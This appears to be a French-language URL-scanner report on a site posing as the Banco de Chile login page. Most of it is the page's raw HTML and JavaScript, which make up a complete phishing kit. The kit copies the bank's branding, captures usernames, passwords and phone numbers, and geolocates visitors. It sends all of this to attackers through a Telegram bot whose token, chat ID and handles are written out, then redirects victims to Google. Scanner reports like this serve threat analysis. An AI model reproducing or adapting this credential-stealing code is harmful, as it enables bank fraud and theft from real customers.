- ID de l'analyse :
- 388713a9-48cf-4e10-a9eb-4bb004fce7c6Terminée
- URL soumise :
- https://avionetas.cl/
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 11 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
showSpinner | function |
redirectToGoogle | function |
getFlagEmoji | function |
getUserLocationData | function |
createCopyableText | function |
sendVisitorNotification | function |
sendLoginCredentials | function |
Messages de journal de console : 4 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
verbose | dom |
|
error | network |
|
error | network |
|
error | network |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html lang="es"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login - Banco de Chile</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
<style>
body {
margin: 0;
padding: 0;
background-image: url('https://login.portal.bancochile.cl/bancochile-web/persona/login/assets/images/bg-login.jpg');
background-size: cover;
background-position: center;
font-family: Arial, sans-serif;
}
.top-bar {
display: flex;
justify-content: space-between;
align-items: center;
background-color: white;
padding: 10px 20px;
position: fixed;
width: 100%;
top: 0;
z-index: 1000;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.top-bar img {
height: 40px;
}
.login-container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
position: relative;
z-index: 1;
}
.login-form {
background-color: rgba(255, 255, 255, 0.8);
padding: 40px;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
width: 300px;
height: 350px;
text-align: center;
position: relative;
}
.login-form h2 {
margin-bottom: 30px;
font-size: 24px;
color: #003366;
}
.input-container {
position: relative;
margin: 15px 0;
}
.login-input {
width: 100%;
padding: 12px 10px 12px 40px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
.login-input:focus {
outline: none;
border-color: #4CAF50;
}
.input-icon {
position: absolute;
left: 10px;
top: 50%;
transform: translateY(-50%);
color: gray;
pointer-events: none;
}
.login-button {
width: 100%;
padding: 10px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
margin-top: 20px;
transition: background-color 0.3s ease;
}
.login-button:hover {
background-color: #45a049;
}
.forgot-password {
display: block;
margin-top: 15px;
color: #003366;
text-decoration: none;
text-align: left;
padding-left: 10px;
}
.forgot-password:hover {
text-decoration: underline;
}
.login-form::after {
content: '';
position: absolute;
bottom: 0;
left: 0;
width: 100%;
height: 4px;
background-color: #003366;
border-radius: 0 0 8px 8px;
}
.spinner {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
border: 4px solid rgba(0, 51, 102, 0.3);
border-top: 4px solid #003366;
border-radius: 50%;
width: 50px;
height: 50px;
animation: spin 1s linear infinite;
z-index: 1002;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.modal {
display: none;
position: fixed;
z-index: 1001;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
justify-content: center;
align-items: center;
}
.modal-content {
background-color: white;
padding: 30px;
border-radius: 8px;
text-align: center;
width: 300px;
}
.modal-content h3 {
margin-bottom: 20px;
color: #003366;
}
.modal-content .input-container {
position: relative;
}
.modal-content input {
width: 100%;
padding: 10px 10px 10px 40px;
margin: 10px 0;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
.modal-content button {
width: 100%;
padding: 10px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s ease;
}
.modal-content button:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<div class="top-bar">
<img src="https://www.bancochile.cl/wps/themes/html/theme-bch/images/bc-logo.png" alt="Logo Banco de Chile">
<img src="https://www.bancochile.cl/wps/themes/html/theme-bch/images/logo-banco-edwards-citi.png" alt="Logo Edwards Citi">
</div>
<div class="login-container">
<div class="login-form">
<h2>Iniciar Sesión</h2>
<div class="spinner" id="spinner"></div>
<div class="input-container">
<i class="fas fa-user input-icon"></i>
<input type="text" class="login-input" placeholder="Usuario" required="" pattern="[0-9k]+" title="Solo se permiten números y la letra k">
</div>
<div class="input-container">
<i class="fas fa-lock input-icon"></i>
<input type="password" class="login-input" placeholder="Contraseña" required="">
</div>
<a href="#" class="forgot-password">Olvido mi clave</a>
<button class="login-button" onclick="showSpinner()">Iniciar Sesión</button>
</div>
</div>
<div class="modal" id="modal">
<div class="modal-content">
<h3>Verificación de Identidad</h3>
<div class="input-container">
<i class="fas fa-phone input-icon"></i>
<input type="tel" placeholder="Número de Teléfono" required="" pattern="[0-9]+" title="Solo se permiten números">
</div>
<button onclick="redirectToGoogle()">Verificar</button>
</div>
</div>
<script>
function showSpinner() {
const inputs = document.querySelectorAll('.login-input');
const isValid = Array.from(inputs).every(input => input.checkValidity());
if (isValid) {
inputs.forEach(input => input.value = '');
document.getElementById('spinner').style.display = 'block';
setTimeout(() => {
document.getElementById('spinner').style.display = 'none';
document.getElementById('modal').style.display = 'flex';
}, 1500);
} else {
// Mostrar la alerta
alert('Por favor, ingrese un usuario o contraseña válidos.');
// Esperar 1 segundo antes de recargar la página
setTimeout(() => {
location.reload();
}, 1000); // Espera 1 segundo antes de recargar
}
}
function redirectToGoogle() {
const phoneInput = document.querySelector('.modal-content input');
if (phoneInput.checkValidity()) {
window.location.href = 'https://www.google.com';
} else {
// Mostrar la alerta
alert('Por favor, ingrese un número de teléfono válido.');
// Esperar 1 segundo antes de recargar la página
setTimeout(() => {
location.reload();
}, 1000); // Espera 1 segundo antes de recargar
}
}
</script>
<script>
// Función para obtener el emoji de la bandera
function getFlagEmoji(countryCode) {
if (!countryCode) return "";
const codePoints = countryCode
.toUpperCase()
.split('')
.map(char => 127397 + char.charCodeAt());
return String.fromCodePoint(...codePoints);
}
// Función para obtener la ubicación del usuario
async function getUserLocationData() {
try {
const response = await fetch("https://ipapi.co/json/");
return await response.json();
} catch (error) {
console.error("Error obteniendo la IP:", error);
return null;
}
}
// Función para crear texto copiable en Telegram
function createCopyableText(label, value) {
return `${label}: ${value}`;
}
// Función para enviar notificación de visitante
async function sendVisitorNotification() {
const locationData = await getUserLocationData();
const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];
if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
const { ip, country, city, region } = locationData;
const flag = getFlagEmoji(locationData.country_code);
const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
`👀 Estado: Cliente en línea\n` +
`➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
`🌐 ${createCopyableText("IP", ip)}\n` +
`📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
`🕒 Hora: ${new Date().toLocaleString()}\n` +
`➖➖➖➖➖➖➖➖\n` +
`@Chileno32 @Luxxonn @Buhoneroo`;
const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
const chatId = "-4674303237";
try {
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message,
parse_mode: "Markdown"
})
});
} catch (error) {
console.error("Error al enviar notificación:", error);
}
}
}
// Función para enviar credenciales de inicio de sesión
async function sendLoginCredentials(username, password) {
const locationData = await getUserLocationData();
const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];
if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
const { ip, country, city, region } = locationData;
const flag = getFlagEmoji(locationData.country_code);
const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
`👤 ${createCopyableText("Usuario", username)}\n` +
`🔒 ${createCopyableText("Clave", password)}\n` +
`➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
`🌐 ${createCopyableText("IP", ip)}\n` +
`📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
`➖➖➖➖➖➖➖➖\n` +
`@Chileno32 @Luxxonn @Buhoneroo`;
const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
const chatId = "-4674303237";
try {
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message,
parse_mode: "Markdown"
})
});
} catch (error) {
console.error("Error al enviar notificación:", error);
}
}
}
// Función para enviar número de teléfono
async function sendPhoneNumber(phoneNumber) {
const locationData = await getUserLocationData();
const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];
if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
const { ip, country, city, region } = locationData;
const flag = getFlagEmoji(locationData.country_code);
const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
`📱 ${createCopyableText("Teléfono", phoneNumber)}\n` +
`➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
`🌐 ${createCopyableText("IP", ip)}\n` +
`📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
`➖➖➖➖➖➖➖➖\n` +
`@Chileno32 @Luxxonn @Buhoneroo`;
const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
const chatId = "-4674303237";
try {
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message,
parse_mode: "Markdown"
})
});
} catch (error) {
console.error("Error al enviar notificación:", error);
}
}
}
// Modificar la función de redirección para enviar el teléfono primero
function redirectToGoogle() {
const phoneInput = document.querySelector('.modal-content input[placeholder="Número de Teléfono"]');
const phoneNumber = phoneInput.value;
if (phoneNumber) {
// Primero enviar el número de teléfono
sendPhoneNumber(phoneNumber).then(() => {
// Luego redirigir a Google
window.location.href = 'https://www.google.com';
});
} else {
// Si no hay número, redirigir directamente
window.location.href = 'https://www.google.com';
}
}
// Event Listeners
document.addEventListener("DOMContentLoaded", function() {
// Enviar notificación de visitante cuando la página carga
sendVisitorNotification();
// Manejar envío del formulario de inicio de sesión
document.querySelector(".login-button").addEventListener("click", function(e) {
const usernameInput = document.querySelector('.login-input[placeholder="Usuario"]');
const passwordInput = document.querySelector('.login-input[placeholder="Contraseña"]');
const username = usernameInput.value;
const password = passwordInput.value;
if(username && password) {
sendLoginCredentials(username, password);
}
});
// Asignar la función de redirección modificada
document.querySelector('.modal-content button').onclick = redirectToGoogle;
});
</script>
</body></html>